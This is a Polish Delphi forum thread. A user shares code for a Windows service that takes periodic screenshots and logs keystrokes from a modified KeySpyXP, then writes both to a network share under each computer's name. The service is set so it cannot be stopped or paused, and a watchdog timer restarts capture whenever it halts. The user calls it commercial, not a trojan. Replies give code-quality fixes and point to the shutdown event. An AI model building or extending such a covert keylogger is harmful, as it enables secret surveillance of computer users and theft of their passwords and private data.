Usluga + zrzuty ekranu + keyloger

0

witam.... chcialem zrobic usluge ktora w odstepach odczytanych z pliku dokonuje zrzutow ekranu i loguje klawisze.... sa to timery...

timer od screenow:

procedure TNTservices.Timer1Timer(Sender: TObject);
var
  Can: TCanvas;
  Bit: TBitmap;
  JPEG: TJPEGImage;
  Rozd : packed record
    X, Y : Integer;
  end;
begin
  Timer1.Enabled := False;
  try
    Can := TCanvas.Create;
    Can.Handle := GetWindowDC(GetDesktopWindow);
    Bit := TBitmap.Create;
    Rozd.X := GetSystemMetrics(SM_CXSCREEN); // pobranie rozdzielczosci
    Rozd.Y := GetSystemMetrics(SM_CYSCREEN);
    Bit.Width := Rozd.X;
    Bit.Height := Rozd.Y;
    Bit.Canvas.CopyRect(Rect(0, 0, Rozd.X, Rozd.Y),
    Can,
    Rect(0, 0, Rozd.X, Rozd.Y));
    JPEG := TJPEGImage.Create;
    JPEG.CompressionQuality:=100;
    JPEG.Assign(Bit);
    Data := DateToStr(Date);
    Czas := TimeToStr(Time);
    Czas := StringReplace(Czas, ':', '', [rfReplaceAll]);
    ForceDirectories(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Scr');
    JPEG.SaveToFile(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Scr\' + Czas + '.jpg');
    Timer1.Enabled := True;
  except
  end;
end;

timer od zapisywania klawyszy zalogowanych (KeyspyXP odpowiednio zmodyfikowany do mojego programu):

procedure TNTservices.Timer2Timer(Sender: TObject);
var
  F: TextFile;
begin
  Timer2.Enabled := False;
  try
  Data := DateToStr(Date);
  ForceDirectories(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key');
  AssignFile(F, Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key\key.rtf');
  if not FileExists(Sciezka + '\ab\' + Nazwa + '\' + Data + '\Key\key.rtf') then
  begin
    Rewrite(F);
    CloseFile(F);
  end;
  Append(F);
  WriteLn(F, Keys);
  CloseFile(F);
  Keys := '';
  Timer2.Enabled := True;
  except
  end;
end;

Nazwa to pobrana nazwa komputera... dodatkowo zrobilem 3 timer ktory sprawdza czy poprzednie 2 sa active.. jezeli nie to je wlacza...

i wszystko dziala ok... zapisuje powiedzmy co 5 minut screen, co 15 minut klawisze...
Allowstop i allowpause sa na false... nie da sie go wylaczyc z panelu administratora...

i co dziwne po jakims czasie nagle przestaje zapisywac screeny i klawisze... dodam tylko ze zapisuje to na SCIEZCE SIECIOWEJ, ale serwer caly czas dziala itp... nie jest resetowany... boli mnie ten przypadek... nie wiem czemu tak sie dzieje... zaden blad sie nie pokazuje... a przeciez usluga sie nie moze zatrzymac... co zrobic? :/

i pytanie 2...
jak wykryc zamykanie windowsa XP bo wtedy do Keys chce dodac tekst "ZAMYKANIE KOMPUTERA" i zapisac do sieciowego pliku... ????

od razu mowie ze to nie zaden trojan itp poniewaz jest to dla celow komercyjnych :)

pozdrawiam..

0

powiem tak brzydkie to :p

  1. zamiast timerów zrób wątek
  2. zamiast AssignFile itp zrób TFileStream (czy nawet TMemory Stream i zapis do pliku)
  3. nigdzie nie zwalniasz pamięci po jpegu - jak zrobisz wątek to jeden jpeg wystarczy Ci przez cały czas działania programu (teraz też by go tak można przerobić)
  4. to samo dotyczy canvasa i bitmapy

BTW ten czas jest mniej więcej stały? Jakieś błędy w podglądzie zdarzeń? ten try except jest bardzo brzydki - nie wiadomo co nie działa - chociaż jakieś proste logowanie tam daj

0
Misiekd napisał(a)

powiem tak brzydkie to :p

Bóg też zaczynał od 0...

Misiekd napisał(a)
  1. zamiast timerów zrób wątek
  2. zamiast AssignFile itp zrób TFileStream (czy nawet TMemory Stream i zapis do pliku)
  3. nigdzie nie zwalniasz pamięci po jpegu - jak zrobisz wątek to jeden jpeg wystarczy Ci przez cały czas działania programu (teraz też by go tak można przerobić)
  4. to samo dotyczy canvasa i bitmapy

sie zrobi... tak bylo po prostu latwiej a chcialem sie przekonac czy jest sens robienia czegos takiego..

Misiekd napisał(a)

BTW ten czas jest mniej więcej stały? Jakieś błędy w podglądzie zdarzeń? ten try except jest bardzo brzydki - nie wiadomo co nie działa - chociaż jakieś proste logowanie tam daj

po co logowanie.. nie chce logowania.... co do try except to bez niego tez przestaje robic screeny i zapisywac sie a i tak komunikatu bledu nie ma... czas jest staly...

co do zdarzen to rzeczywiscie nie pomyslalem zeby spojrzec:

Nie mona znale opisu dla identyfikatora zdarzenia ( 0 ) w rdle ( ccc.exe ). By moe komputer lokalny nie ma wymaganych informacji rejestru lub plikw DLL potrzebnych do wywietlania komunikatw z komputera zdalnego. Moesz uy flagi /AUXSOURCE= do pobrania tego opisu; wicej informacji mona znale w Pomocy i obsudze technicznej. Nastpujce informacje s czci zdarzenia: Cannot create file "\\kompuiter12\logi\ab\KOMPUTER13\2007-06-04\Scr\104832.jpg". Nie mona odczyta informacji o konfiguracji z kontrolera domeny, poniewa urzdzenie jest niedostpne lub dostp jest zabroniony.

oznacza to widocznie ze problem z lacznoscia z serwerem.... qrde :/// ccc.exe to moja aplikacja....

0
york_daro napisał(a)

a i tak komunikatu bledu nie ma...

jest, tylko że nie jest pokazywany a zapisywany w podglądzie zdarzeń

oznacza to widocznie ze problem z lacznoscia z serwerem.... qrde :/// ccc.exe to moja aplikacja....

najwidoczniej

0

no to mam pytanie... bo chce zeby dopisywalo sie info za o tej godzinie zamknieto komputer (windows xp) a te wm_query cos tam chyba na xp nie dziala (mi nie dziala) ... co jest wywolywane w usludze kiedy komp jest zamykany? stop? destroy?

0
OnShutdown event (TService)

Occurs when the system running the service application is about to shut down.

Delphi syntax:

property OnShutdown: TServiceEvent;

C++ syntax:

__property TServiceEvent OnShutdown = {read=FOnShutdown, write=FOnShutdown};

Description

Write an OnShutdown event handler to take specific action just before the service shuts down. The service application terminates immediately after OnShutdown.

1 użytkowników online, w tym zalogowanych: 0, gości: 1